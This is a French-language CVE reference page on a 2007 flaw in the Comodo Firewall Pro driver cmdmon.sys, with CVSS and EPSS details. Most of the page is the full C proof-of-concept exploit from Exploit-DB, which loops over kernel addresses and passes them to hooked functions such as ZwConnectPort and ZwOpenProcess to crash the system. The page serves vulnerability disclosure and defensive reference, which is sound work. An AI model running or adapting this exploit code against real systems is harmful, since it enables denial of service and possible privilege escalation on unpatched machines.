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Descriptions du CVE
cmdmon.sys in Comodo Firewall Pro (formerly Comodo Personal Firewall) before 2.4.16.174 does not validate arguments that originate in user mode for the (1) NtConnectPort and (2) NtCreatePort hooked SSDT functions, which allows local users to cause a denial of service (system crash) and possibly gain privileges via invalid arguments.
Informations du CVE
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 7.2 | AV:L/AC:L/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 29558
Date de publication : 2007-01-31 23h00 +00:00
Auteur : Matousec Transparent security
EDB Vérifié : Yes
// source: https://www.securityfocus.com/bid/22357/info
Comodo Firewall is prone to multiple denial-of-service vulnerabilities because it fails to adequately validate user supplied data.
Exploiting these issues may permit attackers to cause system crashes and deny service to legitimate users. Presumaby, attackers may also be able to execute arbitrary code, but this has not been confirmed.
Comodo Firewall Pro 2.4.16.174 and Comodo Personal Firewall 2.3.6.81 are vulnerable; other versions may also be affected.
/*
Testing program for Multiple insufficient argument validation of hooked
SSDT function (BTP00000P005CF)
Usage:
prog FUNCNAME
FUNCNAME - name of function to be checked
Description:
This program calls given function with parameters that crash the
system. This happens because of
insufficient validation of function arguments in the driver of the
firewall.
Test:
Running the testing program with the name of a function from the list
of affected functions.
*/
#undef __STRICT_ANSI__
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <ddk/ntapi.h>
#include <ddk/ntifs.h>
void about(void)
{
printf("Testing program for Multiple insufficient argument validation
of hooked SSDT function (BTP00000P005CF)\n");
printf("Windows Personal Firewall analysis project\n");
printf("Copyright 2007 by Matousec - Transparent security\n");
printf("http://www.matousec.com/""\n\n");
return;
}
void usage(void)
{
printf("Usage: test FUNCNAME\n"
" FUNCNAME - name of function to be checked\n");
return;
}
void print_last_error(void)
{
LPTSTR buf;
DWORD code=GetLastError();
if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL))
{
fprintf(stderr,"Error code: %ld\n",code);
fprintf(stderr,"Error message: %s",buf);
LocalFree(buf);
} else fprintf(stderr,"Unable to format error message for code
%ld.\n",code);
return;
}
int main(int argc,char **argv)
{
about();
if (argc!=2)
{
usage();
return 1;
}
if (!stricmp(argv[1],"NtConnectPort") ||
!stricmp(argv[1],"ZwConnectPort"))
{
HANDLE handle;
UNICODE_STRING us={0x1000,0x1000,NULL};
SECURITY_QUALITY_OF_SERVICE sqos;
for (int i=0;i>=0;i++)
{
us.Buffer=(PVOID)(i+0x80000000);
ZwConnectPort(&handle,&us,&sqos,NULL,NULL,NULL,NULL,NULL);
}
} else if (!stricmp(argv[1],"NtCreatePort") ||
!stricmp(argv[1],"ZwCreatePort"))
{
HANDLE handle;
OBJECT_ATTRIBUTES oa;
UNICODE_STRING us={0x1000,0x1000,NULL};
InitializeObjectAttributes(&oa,&us,0,NULL,NULL);
for (int i=0;i>=0;i++)
{
us.Buffer=(PVOID)(i+0x80000000);
ZwCreatePort(&handle,&oa,0,0,0);
}
} else if (!stricmp(argv[1],"NtCreateSection") ||
!stricmp(argv[1],"ZwCreateSection"))
{
HANDLE handle;
for (int i=0;i>=0;i++)
{
POBJECT_ATTRIBUTES oa=(PVOID)(i+0x80000000);
ZwCreateSection(&handle,0,oa,NULL,0,0,NULL);
}
} else if (!stricmp(argv[1],"NtOpenProcess") ||
!stricmp(argv[1],"ZwOpenProcess"))
{
HANDLE handle;
OBJECT_ATTRIBUTES oa;
UNICODE_STRING us={0x1000,0x1000,NULL};
InitializeObjectAttributes(&oa,&us,0,NULL,NULL);
for (int i=0;i>=0;i++)
{
PCLIENT_ID clid=(PVOID)(i+0x80000000);
ZwOpenProcess(&handle,PROCESS_ALL_ACCESS,&oa,clid);
}
} else if (!stricmp(argv[1],"NtOpenSection") ||
!stricmp(argv[1],"ZwOpenSection"))
{
HANDLE handle;
for (int i=0;i>=0;i++)
{
POBJECT_ATTRIBUTES oa=(PVOID)(i+0x80000000);
ZwOpenSection(&handle,SECTION_ALL_ACCESS,oa);
}
} else if (!stricmp(argv[1],"NtOpenThread") ||
!stricmp(argv[1],"ZwOpenThread"))
{
HANDLE handle;
OBJECT_ATTRIBUTES oa;
UNICODE_STRING us={0x1000,0x1000,NULL};
InitializeObjectAttributes(&oa,&us,0,NULL,NULL);
for (int i=0;i>=0;i++)
{
PCLIENT_ID clid=(PVOID)(i+0x80000000);
ZwOpenThread(&handle,THREAD_ALL_ACCESS,&oa,clid);
}
} else if (!stricmp(argv[1],"NtSetValueKey") ||
!stricmp(argv[1],"ZwSetValueKey"))
{
for (int i=0;i>=0;i++)
{
PUNICODE_STRING us=(PVOID)(i+0x80000000);
ZwSetValueKey(NULL,us,0,REG_NONE,NULL,0);
}
} else printf("\nI do not know how to exploit the vulnerability using
this function.\n");
printf("\nTEST FAILED!\n");
return 1;
}
Products Mentioned
Configuraton 0
Comodo>>Comodo_firewall_pro >> Version 2.4.16.174
Références
http://www.securityfocus.com/archive/1/458773/100/0/threaded
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Tags : mailing-list, x_refsource_BUGTRAQ
